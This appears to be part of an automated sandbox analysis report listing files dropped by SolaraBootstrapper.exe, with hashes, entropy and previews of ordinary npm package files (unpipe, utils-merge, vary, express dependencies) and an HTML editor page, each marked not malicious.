SHA-256:	87917E3DDA1080179447633C3EDFF7E4B917D62B463893C88CEF5BE0B2BABC63
SHA-512:	C384F368197C1EB14252568398EFDD1FAFE497BA985538B3953294D5DD6B83B745B0648EDD60489D6AE3EA14607AAD3E6E0D38CB6ED4BE5684AAADE44C303D90
Malicious:	false
Preview:	{. "name": "type-is",. "description": "Infer the content-type of a request.",. "version": "1.6.18",. "contributors": [. "Douglas Christopher Wilson <doug@somethingdoug.com>",. "Jonathan Ong <me@jongleberry.com> (http://jongleberry.com)". ],. "license": "MIT",. "repository": "jshttp/type-is",. "dependencies": {. "media-typer": "0.3.0",. "mime-types": "~2.1.24". },. "devDependencies": {. "eslint": "5.16.0",. "eslint-config-standard": "12.0.0",. "eslint-plugin-import": "2.17.2",. "eslint-plugin-markdown": "1.0.0",. "eslint-plugin-node": "8.0.1",. "eslint-plugin-promise": "4.1.1",. "eslint-plugin-standard": "4.0.0",. "mocha": "6.1.4",. "nyc": "14.0.0". },. "engines": {. "node": ">= 0.6". },. "files": [. "LICENSE",. "HISTORY.md",. "index.js". ],. "scripts": {. "lint": "eslint --plugin markdown --ext js,md .",. "test": "mocha --reporter spec --check-leaks --bail test/",. "test-cov": "nyc --reporter=html --reporter=te

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\unpipe\HISTORY.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	59
Entropy (8bit):	3.7457244047073406
Encrypted:	false
SSDEEP:	3:SVcG5IIAYSSFhF4:SCQIMSS2
MD5:	3E523DF8AC60D8C162C57521955BDA8C
SHA1:	7D305C01484F34F1B6CEC629368317A1C76AFD6F
SHA-256:	6F6DC64D92C2450FD3A2FE41CA1DD3EBEB9C2321AC3C308728F5DE69FE6C6FEC
SHA-512:	944576AD6105EB8E767D42B5C7AC9A3E66B9B739B7AB587C2BCED7D10C935198ACEB16EFA01B8297F7FE7E5B5983004D108F18195D2D578DB6D7653AA5D23BCE
Malicious:	false
Preview:	1.0.0 / 2015-06-14.==================.. * Initial release.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\unpipe\LICENSE

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1114
Entropy (8bit):	5.130133103702875
Encrypted:	false
SSDEEP:	24:9iJH/ZHHuyPP3GtIHw1Gg9MPH+sUW8Ok4odZo3U/qldFD:9iJfxfPvGt7ICMPH+sfINi3OMFD
MD5:	934AB86A8AB081EA0326ADD08D550739
SHA1:	140C0ED7F877E74246D459750884AADD7F3466A0
SHA-256:	1A526FBE8D8577F5A4B1C2821842B55B7C0E18862531C62AE4CE69C9B19B74B6
SHA-512:	E7D31B0D69A58710DBE84A59BFC15749609BCD4DF013FF700DE3CAEA0B0669562E905557F63B4BF745997DD8859457A03668F7F5F699EF9F0075555EE4F1864B
Malicious:	false
Preview:	(The MIT License)..Copyright (c) 2015 Douglas Christopher Wilson <doug@somethingdoug.com>..Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the.'Software'), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY.CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,.TORT OR

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\unpipe\README.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1250
Entropy (8bit):	4.9655786458541815
Encrypted:	false
SSDEEP:	24:ceqXSX2498ARP5A20KDR5ln/HvfBQQ5tgqTSGImemW6mK+NOdov:3qXC9XRBABKbZBMm7mKAB
MD5:	B242AC151AC9750BF7CA20FE02DCF7B0
SHA1:	BDA6E077E2453E52345108FA973B2E3D0074DA14
SHA-256:	B091938BE61F002FC626C4DFABF66CF14FF0B5A8FA9758C9DBBDC37AB818CB5D
SHA-512:	4883EE4A3A5776C9017960A1CBE980DF1481F7107D6E41F3673328DADFA82803B39597515E3F12D4382B68978D207CE284F87330C4F76405AA2F7A7354031FCB
Malicious:	false
Preview:	# unpipe..[![NPM Version][npm-image]][npm-url].[![NPM Downloads][downloads-image]][downloads-url].[![Node.js Version][node-image]][node-url].[![Build Status][travis-image]][travis-url].[![Test Coverage][coveralls-image]][coveralls-url]..Unpipe a stream from all destinations...## Installation..```sh.$ npm install unpipe.```..## API..```js.var unpipe = require('unpipe').```..### unpipe(stream)..Unpipes all destinations from a given stream. With stream 2+, this is.equivalent to `stream.unpipe()`. When used with streams 1 style streams.(typically Node.js 0.8 and below), this module attempts to undo the.actions done in `stream.pipe(dest)`...## License..[MIT](LICENSE)..[npm-image]: https://img.shields.io/npm/v/unpipe.svg.[npm-url]: https://npmjs.org/package/unpipe.[node-image]: https://img.shields.io/node/v/unpipe.svg.[node-url]: http://nodejs.org/download/.[travis-image]: https://img.shields.io/travis/stream-utils/unpipe.svg.[travis-url]: https://travis-ci.org/stream-utils/unpipe.[coveralls

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\unpipe\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1118
Entropy (8bit):	4.653728842990181
Encrypted:	false
SSDEEP:	24:++kpAtBhSrJbw4DbMq5OgPsDwGBgk4DEIcH9VBM:DkGbAwydOgPmwohyFcdE
MD5:	377F0C4BDDBBD7E73B32A53E687DF342
SHA1:	DF9106D2019FE2E4BFAE9882E4A8BE7012EB55CF
SHA-256:	69CD57B5CDD08C42410EBC0D92235E334F1FB985E6EB2DCFB1C692DB674411BD
SHA-512:	BFEC0A252C8D2718C6B747E40E6D3ACF165C5F797F725E4729E477707AAA04F6904E1B00688DD348CA25FE13ADEF8E3FC7F0FC8B03877359B5883224107DC0DE
Malicious:	false
Preview:	/!. unpipe. * Copyright(c) 2015 Douglas Christopher Wilson. * MIT Licensed. /..'use strict'../. Module exports.. * @public. /..module.exports = unpipe../. Determine if there are Node.js pipe-like data listeners.. * @private. /..function hasPipeDataListeners(stream) {. var listeners = stream.listeners('data').. for (var i = 0; i < listeners.length; i++) {. if (listeners[i].name === 'ondata') {. return true. }. }.. return false.}../. Unpipe a stream from all destinations.. . @param {object} stream. * @public. */..function unpipe(stream) {. if (!stream) {. throw new TypeError('argument stream is required'). }.. if (typeof stream.unpipe === 'function') {. // new-style. stream.unpipe(). return. }.. // Node.js 0.8 hack. if (!hasPipeDataListeners(stream)) {. return. }.. var listener. var listeners = stream.listeners('close').. for (var i = 0; i < listeners.length; i++) {. listener = listeners[i].. if (listener.name !== 'cleanu

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\unpipe\package.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	770
Entropy (8bit):	4.826779902861029
Encrypted:	false
SSDEEP:	12:bC+OQZ5u182QpBUtHhYW/kEVEnk6f3RGCjPcWjVSYLZLPOyZiPjXy8enYMw:bC+p5u1kuhYWVcFnlZqy4y8e1w
MD5:	F8318A554ED98C6A030942E9C14AAAC8
SHA1:	F67F2D17A18C3DED93C9423903DF8E6678F4E416
SHA-256:	28B717F978D2A4FC72CD08236931443B63FE6586102DF3D1967E2B21EA8C5E11
SHA-512:	673447C1A4022F7E46D3A1857B1DB481C3B61C4F936156E422E99B4EF2E35BCD8487A4B0F7533900A3B071FE7475E3D11732A3DF07F996383A04F508CE903AE8
Malicious:	false
Preview:	{. "name": "unpipe",. "description": "Unpipe a stream from all destinations",. "version": "1.0.0",. "author": "Douglas Christopher Wilson <doug@somethingdoug.com>",. "license": "MIT",. "repository": "stream-utils/unpipe",. "devDependencies": {. "istanbul": "0.3.15",. "mocha": "2.2.5",. "readable-stream": "1.1.13". },. "files": [. "HISTORY.md",. "LICENSE",. "README.md",. "index.js". ],. "engines": {. "node": ">= 0.8". },. "scripts": {. "test": "mocha --reporter spec --bail --check-leaks test/",. "test-cov": "istanbul cover node_modules/mocha/bin/_mocha -- --reporter dot --check-leaks test/",. "test-travis": "istanbul cover node_modules/mocha/bin/_mocha --report lcovonly -- --reporter spec --check-leaks test/". }.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\utils-merge\.npmignore

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	79
Entropy (8bit):	4.6812735898894395
Encrypted:	false
SSDEEP:	3:fxKiLUbNBK/fjBMRW0RUzo0v:fQiLM8/FoGoW
MD5:	E22C42D21BDEA276864DA000C7D83756
SHA1:	C675B26B3B3F739F86E570525FBAFA1AF6598031
SHA-256:	3841A300F5CE46D39ABA5E9E221B3C90D518612606930E8103F3C9AE7E784C0D
SHA-512:	B755B12018BBD2DA5C37F0EEA3D6D04028095A2E7D10810650B1E733649DFAE757A5234C8FB66A90AB016C2575AA32F24153768B843E8B74D8F8496B96D9DBD1
Malicious:	false
Preview:	CONTRIBUTING.md.Makefile.docs/.examples/.reports/.test/...jshintrc..travis.yml.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\utils-merge\LICENSE

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1084
Entropy (8bit):	5.124276966611244
Encrypted:	false
SSDEEP:	24:bGPrOJH7H0yxgtAHw1hC09QHOsUv4tk4/+dpoaq/FD:bGPSJrlxEDdQHOs52TSaYFD
MD5:	1CF0906082187F374CB9A63C54EB782C
SHA1:	840EC17DC7B3131DEE404954B69C62B882BA6599
SHA-256:	6E7D699CDD1E4FA837BA7718EA49841AA67201B449EA8B3F9CF274BE15974A64
SHA-512:	58F059D1FF4A04B52284C8C58038CDAC8FC70B0E1AAA0103F8BE2BD928461F6C9E4BF0A8CA0897FD630A01CCEE13B8DE36CBC97EC14824A17569148CCC85986D
Malicious:	false
Preview:	The MIT License (MIT)..Copyright (c) 2013-2017 Jared Hanson..Permission is hereby granted, free of charge, to any person obtaining a copy of.this software and associated documentation files (the "Software"), to deal in.the Software without restriction, including without limitation the rights to.use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of.the Software, and to permit persons to whom the Software is furnished to do so,.subject to the following conditions:..The above copyright notice and this permission notice shall be included in all.copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS.FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR.COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER.IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\utils-merge\README.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1319
Entropy (8bit):	5.219444793538169
Encrypted:	false
SSDEEP:	24:+B+J2IIEfLXMPXTTgoXgQ6mJEdpuTENzT6/E0dwCc9QGKznzkw6RfG9vGA:FJYEfLuTgzlmJEdsEtTAE0+7QGNTA
MD5:	9E6A49A7623199D699F595777116296F
SHA1:	3139B3182F49C480A6A6417D69A6657E37A56F2F
SHA-256:	F6672DB98C83976565016569515C4FE33D8D9F0EA1F41044FCB1C91B1155FDA8
SHA-512:	9D488012202F83A875ABFE7925F50788C4C304A83C5EA64665F7D38482AD7600F210E57F2E857693C86479A2B0F73BFE9D88B796A44E47DBF40E92AA99ED0FE3
Malicious:	false
Preview:	# utils-merge..[![Version](https://img.shields.io/npm/v/utils-merge.svg?label=version)](https://www.npmjs.com/package/utils-merge).[![Build](https://img.shields.io/travis/jaredhanson/utils-merge.svg)](https://travis-ci.org/jaredhanson/utils-merge).[![Quality](https://img.shields.io/codeclimate/github/jaredhanson/utils-merge.svg?label=quality)](https://codeclimate.com/github/jaredhanson/utils-merge).[![Coverage](https://img.shields.io/coveralls/jaredhanson/utils-merge.svg)](https://coveralls.io/r/jaredhanson/utils-merge).[![Dependencies](https://img.shields.io/david/jaredhanson/utils-merge.svg)](https://david-dm.org/jaredhanson/utils-merge)...Merges the properties from a source object into a destination object...## Install..```bash.$ npm install utils-merge.```..## Usage..```javascript.var a = { foo: 'bar' }. , b = { bar: 'baz' };..merge(a, b);.// => { foo: 'bar', bar: 'baz' }.```..## License..[The MIT License](http://opensource.org/licenses/MIT)..Copyright (c) 2013-2017 Jared Hanson <

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\utils-merge\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	381
Entropy (8bit):	4.422770760937556
Encrypted:	false
SSDEEP:	6:UVcAoaKosuXtwYwlFamqn9YoJBwYvmJwJwNu8CirirBBuH/aEnOQ1t/Jevzv:UVcABKojurq9YoXwCYNuCrilBu3n7/Qr
MD5:	20D03F8BF4486091C44F17A97CBB6C24
SHA1:	77759A680BD22CACB94BDC438ED6250EEB10E50A
SHA-256:	EC62860D6445ADDFFD574F640451EA92E0558B6DF793B2E0F1C7175FC2FF6366
SHA-512:	E892863627CFC57839D23A8647010A6AB17C7683B827BF07CC6E130F7D937816075EBC83C013D5FBF6C98F65EAEF838093E8A2F891A8BD5E9D56937822F63EF5
Malicious:	false
Preview:	/*. Merge object b with object a.. . var a = { foo: 'bar' }. * , b = { bar: 'baz' };. . merge(a, b);. * // => { foo: 'bar', bar: 'baz' }. . @param {Object} a. * @param {Object} b. * @return {Object}. * @api public. */..exports = module.exports = function(a, b){. if (a && b) {. for (var key in b) {. a[key] = b[key];. }. }. return a;.};.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\utils-merge\package.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	857
Entropy (8bit):	4.6512860629235115
Encrypted:	false
SSDEEP:	12:qrgt18u3BozWSjJGbzAObmF2YHehETvn+204CQiYW9NJuPCWjV+dhcYbLu:Bt1l3+aSjobzCUhG04CQiYW96VaNS
MD5:	0230ADE39B9C19F5FCC29ED02DFF4AFE
SHA1:	A03473329C34092EA6A88CC11C409A4ECF8BAD33
SHA-256:	6238E6D7E2FDDD3E4826014B4E69CB20D332B472999728A7157DB454C69121B8
SHA-512:	260D0ED23C672B9ABED7557D6664484E79B2B2C204F6EE87E9E75242F921B0DC2F66113AB265F070B927802CD20B9D40E2174F0788DA56E26939FB10C8F885A6
Malicious:	false
Preview:	{. "name": "utils-merge",. "version": "1.0.1",. "description": "merge() utility function",. "keywords": [. "util". ],. "author": {. "name": "Jared Hanson",. "email": "jaredhanson@gmail.com",. "url": "http://www.jaredhanson.net/". },. "repository": {. "type": "git",. "url": "git://github.com/jaredhanson/utils-merge.git". },. "bugs": {. "url": "http://github.com/jaredhanson/utils-merge/issues". },. "license": "MIT",. "licenses": [. {. "type": "MIT",. "url": "http://opensource.org/licenses/MIT". }. ],. "main": "./index",. "dependencies": {},. "devDependencies": {. "make-node": "0.3.x",. "mocha": "1.x.x",. "chai": "1.x.x". },. "engines": {. "node": ">= 0.4.0". },. "scripts": {. "test": "node_modules/.bin/mocha --reporter spec --require test/bootstrap/node test/*.test.js". }.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\vary\HISTORY.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	792
Entropy (8bit):	4.662081372990917
Encrypted:	false
SSDEEP:	12:hhivfDcqWXpwnJqYrcviIucq1u6iyZrOTxCwQAS0fg0o/iVdQTrf8daVGhs0+J7Y:zis+0qcZStrh6/SL8XeY
MD5:	01FB6033779E4F75D95E327672EBD572
SHA1:	34B0D41868E3009838F528BA08F0B7D9C421A232
SHA-256:	273B0EA4ABB4C7357DB4EED63E84F7A283847ED0165D041B25BE37071284D7E5
SHA-512:	51C51B57E5DDD4C667EFFB71B354BB1C296654A80BB52798337F7797185FFC0DCCFB448B40B5ACCEAF38120290E1D0F5407305F81B5D49D32CDD6190A4B92B20
Malicious:	false
Preview:	1.1.2 / 2017-09-23.==================.. * perf: improve header token parsing speed..1.1.1 / 2017-03-20.==================.. * perf: hoist regular expression..1.1.0 / 2015-09-29.==================.. * Only accept valid field names in the `field` argument. - Ensures the resulting string is a valid HTTP header value..1.0.1 / 2015-07-08.==================.. * Fix setting empty header from empty `field`. * perf: enable strict mode. * perf: remove argument reassignments..1.0.0 / 2014-08-10.==================.. * Accept valid `Vary` header string as `field`. * Add `vary.append` for low-level string manipulation. * Move to `jshttp` orgainzation..0.1.0 / 2014-06-05.==================.. * Support array of fields to set..0.0.0 / 2014-06-04.==================.. * Initial release.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\vary\LICENSE

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1094
Entropy (8bit):	5.1284116326456815
Encrypted:	false
SSDEEP:	24:0iJH/ZHHuyPP3GtIHw1Gg9MPH+sUW8Ok4odZo3U/qldFD:0iJfxfPvGt7ICMPH+sfINi3OMFD
MD5:	13BABC4F212CE635D68DA544339C962B
SHA1:	4881AD2EC8EB2470A7049421047C6D076F48F1DE
SHA-256:	BD47CE7B88C7759630D1E2B9FCFA170A0F1FDE522BE09E13FB1581A79D090400
SHA-512:	40E30174433408E0E2ED46D24373B12DEF47F545D9183B7BCE28D4DDD8C8BB528075C7F20E118F37661DB9F1BBA358999D81A14425EB3E0A4A20865DFCB53182
Malicious:	false
Preview:	(The MIT License)..Copyright (c) 2014-2017 Douglas Christopher Wilson..Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the.'Software'), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY.CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,.TORT OR OTHERWISE, ARISING

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\vary\README.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	2716
Entropy (8bit):	5.01575990232993
Encrypted:	false
SSDEEP:	48:CqXC9RRkUwRNdXMoNjFNhk/JGWgXvKCharls1zfz/JA0gXvKCqyle3rXj58RN/e2:RXCI151CUlXvZAls1zDKbXvSyle3rX0V
MD5:	D7ADD56E89E476E09F62AD4A926F1F7A
SHA1:	85BA654D0C99438CA317F8581DE08D197954810E
SHA-256:	03444F916DDB9A1C692C329F88B83B1A21D016DCE46656091F21E903109DD65C
SHA-512:	A913511B9900C171C161CDF30F4948EFB758F6323B796317E32C8C555EA0F339F53B782BAA8CE649D20BFFBC5DB875D0C85FAA89CB6C12A94AB6E6C542448E64
Malicious:	false
Preview:	# vary..[![NPM Version][npm-image]][npm-url].[![NPM Downloads][downloads-image]][downloads-url].[![Node.js Version][node-version-image]][node-version-url].[![Build Status][travis-image]][travis-url].[![Test Coverage][coveralls-image]][coveralls-url]..Manipulate the HTTP Vary header..## Installation..This is a [Node.js](https://nodejs.org/en/) module available through the.[npm registry](https://www.npmjs.com/). Installation is done using the.[`npm install` command](https://docs.npmjs.com/getting-started/installing-npm-packages-locally): ..```sh.$ npm install vary.```..## API.. eslint-disable no-unused-vars -->..```js.var vary = require('vary').```..### vary(res, field)..Adds the given header `field` to the `Vary` response header of `res`..This can be a string of a single field, a string of a valid `Vary`.header, or an array of multiple fields...This will append the header if not already listed, otherwise leaves.it listed in the current location... eslint-disable no-undef -->..``

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\vary\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2930
Entropy (8bit):	4.820541272922599
Encrypted:	false
SSDEEP:	48:kW373vBxqkg4LFfxFJbjNbqv3JnJyNH10XsF2HUJHV7oQtEW7lUxRYZ:N7fTqpyxxXbjNbKJnJyBOe2AZtBx+RYZ
MD5:	8217C2D942EE5BF6866C92662515D975
SHA1:	0E3F2E39B49663EB93E911C9F9C96D2C843D85DA
SHA-256:	8E40311960636D40473C57E335BBCA115036766BF150DF296B941256432AB410
SHA-512:	3EF722D37B016C63AC0126CFDCECB6D7140619D0CF4995898C0BBD9707951581527A6DCB78AC35E948C26FCA53B8A199CF5A28E8F41821F0D5B617DB54BABD41
Malicious:	false
Preview:	/!. vary. * Copyright(c) 2014-2017 Douglas Christopher Wilson. * MIT Licensed. /..'use strict'../. Module exports.. /..module.exports = vary.module.exports.append = append../. RegExp to match field-name in RFC 7230 sec 3.2. . field-name = token. * token = 1tchar. tchar = "!" / "#" / "$" / "%" / "&" / "'" / "". / "+" / "-" / "." / "^" / "_" / "`" / "\|" / "~". * / DIGIT / ALPHA. * ; any VCHAR, except delimiters. /..var FIELD_NAME_REGEXP = /^[!#$%&'+\-.^_`\|~0-9A-Za-z]+$/../*. Append a field to a vary header.. . @param {String} header. * @param {String\|Array} field. * @return {String}. * @public. */..function append (header, field) {. if (typeof header !== 'string') {. throw new TypeError('header argument is required'). }.. if (!field) {. throw new TypeError('field argument is required'). }.. // get fields array. var fields = !Array.isArray(field). ? parse(String(field)). : field..

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\vary\package.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1215
Entropy (8bit):	4.850707992402894
Encrypted:	false
SSDEEP:	24:9X13Uwnr1y7efP6ifPVQeZWnWPf/Fn6T+l6oOUZqy4y8e1w:9X13UwBzfSifPVQeQWPf/B0+woOUogw
MD5:	3577FC17C1B964AF7CFE2C17C73F84F3
SHA1:	82F740E2254B786F7A3A39A762D4D0FC6EC7B008
SHA-256:	73EDAEE964D527117A9F69D6360FBE6CEC534ABD9127794BE01A6AF58A139DAA
SHA-512:	9FC7C9E6F129D53839998AC11523F7B4C47C541F7D4823B4C702358452A6CC903AFA546297151F947881C2D9D3703D0863A2387A5B25C276CE74BE91EBADC43B
Malicious:	false
Preview:	{. "name": "vary",. "description": "Manipulate the HTTP Vary header",. "version": "1.1.2",. "author": "Douglas Christopher Wilson <doug@somethingdoug.com>",. "license": "MIT",. "keywords": [. "http",. "res",. "vary". ],. "repository": "jshttp/vary",. "devDependencies": {. "beautify-benchmark": "0.2.4",. "benchmark": "2.1.4",. "eslint": "3.19.0",. "eslint-config-standard": "10.2.1",. "eslint-plugin-import": "2.7.0",. "eslint-plugin-markdown": "1.0.0-beta.6",. "eslint-plugin-node": "5.1.1",. "eslint-plugin-promise": "3.5.0",. "eslint-plugin-standard": "3.0.1",. "istanbul": "0.4.5",. "mocha": "2.5.3",. "supertest": "1.1.0". },. "files": [. "HISTORY.md",. "LICENSE",. "README.md",. "index.js". ],. "engines": {. "node": ">= 0.8". },. "scripts": {. "bench": "node benchmark/index.js",. "lint": "eslint --plugin markdown --ext js,md .",. "test": "mocha --reporter spec --bail --check-leaks test/",. "test-cov":

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\package-lock.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25342
Entropy (8bit):	5.248519595374619
Encrypted:	false
SSDEEP:	384:9VbqQ3uaG5ur6UDR5Gf3QB78K/wR8Cv8mCHL2mW:9QQUurhdUaO8CveXW
MD5:	4759F0455068A7A159E6FEEC8C94B26F
SHA1:	D510F8CE05A9319461B86EF28A9BC998ACF067D3
SHA-256:	E565D94B8DBAAE58AE5C964D797A0870E0AF79FC1A6E13385E568AEEB29E3EF8
SHA-512:	663C9D3313889C3A3AAC2044B3321D235E29169E782B36276ADED4799F19BCC3EB53FA077205A4C96D60844A66A124B70226C9242D912B24938BAA7762EE9264
Malicious:	false
Preview:	{. "name": "fileaccess",. "lockfileVersion": 3,. "requires": true,. "packages": {. "": {. "dependencies": {. "express": "^4.19.2". }. },. "node_modules/accepts": {. "version": "1.3.8",. "resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.8.tgz",. "integrity": "sha512-PYAthTa2m2VKxuvSD3DPC/Gy+U+sOA1LAuT8mkmRuvw+NACSaeXEQ+NHcVF7rONl6qcaxV3Uuemwawk+7+SJLw==",. "dependencies": {. "mime-types": "~2.1.34",. "negotiator": "0.6.3". },. "engines": {. "node": ">= 0.6". }. },. "node_modules/array-flatten": {. "version": "1.1.1",. "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-1.1.1.tgz",. "integrity": "sha512-PCVAQswWemu6UdxsDFFX/+gVeYqKAod3D3UVm91jHwynguOwAvYPhx8nNlM++NqRcK6CxxpUafjmhIdKiHibqg==". },. "node_modules/body-parser": {. "version": "1.20.2",. "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.20.2.tgz",. "inte

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\package.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	53
Entropy (8bit):	3.9429514180702228
Encrypted:	false
SSDEEP:	3:zVQWNwFiXQWAfYYMCn:zVC4gW6YYMC
MD5:	B9F2CA8A50D6D71642DD920C76A851E5
SHA1:	8CA43E514F808364D0EB51E7A595E309A77FDFCE
SHA-256:	F44555AF79DFA01A68AE8325382293FC68CD6C61D1D4EB9B8F7A42C651C51CDE
SHA-512:	81B6352BBABD0BFFBC50BFCD0CD67DC3C2A7D63BDA0BF12421410C0EC8047AF549A4928B5C5C3E89EAD99AA9240BDDB461C618C49287C15D9D4D3A899E8F596A
Malicious:	false
Preview:	{. "dependencies": {. "express": "^4.19.2". }.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\index.html

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	HTML document, ASCII text, with very long lines (1204), with CRLF line terminators
Category:	dropped
Size (bytes):	20873
Entropy (8bit):	5.215641981429158
Encrypted:	false
SSDEEP:	384:FihTARA5LmClk2P5VvW4NGthbVBJjVBX+TIrnoamLR7:FihTnlf+lthbVBJ/Ok7oamLR7
MD5:	08D9AC1E35385587B0C3C8A73EA97234
SHA1:	D1DB15B5E97152BE999339D90630F68ED06A6B78
SHA-256:	016CADAA9A8494B15EFEA920A5EA9C02B441E90DBC7C444E73DB3B307F93A741
SHA-512:	8061A5A92F828642EA2FCB319571EFA406ED67A75B4D4DA1AEB3DA96391A72FCDE670E3E52EFEF62D37DDC17F7ECA5AFA0D35AA02BFD1BCADD8E86240CB802A6
Malicious:	false
Preview:	<!DOCTYPE html>....<html lang="en" xmlns="http://www.w3.org/1999/xhtml">....<head>...<link rel="preconnect" href="https://fonts.googleapis.com">...<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>...<link href="https://fonts.googleapis.com/css2?family=Kanit:ital,wght@0,100;0,200;0,300;0,400;0,500;0,600;0,700;0,800;0,900;1,100;1,200;1,300;1,400;1,500;1,600;1,700;1,800;1,900&display=swap" rel="stylesheet">...<style type="text/css">....html,....body {.....width: 100%;.....height: 100%;.....margin: 0;.....padding: 0;.....overflow: hidden;.....background-color: rgb(7, 5, 8);.........}.......</style>...<style>....#tabcon {.....background-color: rgb(6, 0, 10);....}.....btn_tab {.....border: 1px solid rgb(16, 6, 29);.....background-color: rgb(7, 0, 10);.....border-radius: 2px;.....color: white;.....min-width: 100px;.....text-align: start !important;..........transition: all 0.3s;....}.......btn_tabusing {.....border: 1px solid rgb(20, 11, 32);.....background-color: rgb(7, 5,

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\base\browser\ui\codicons\codicon\codicon.ttf

Download File

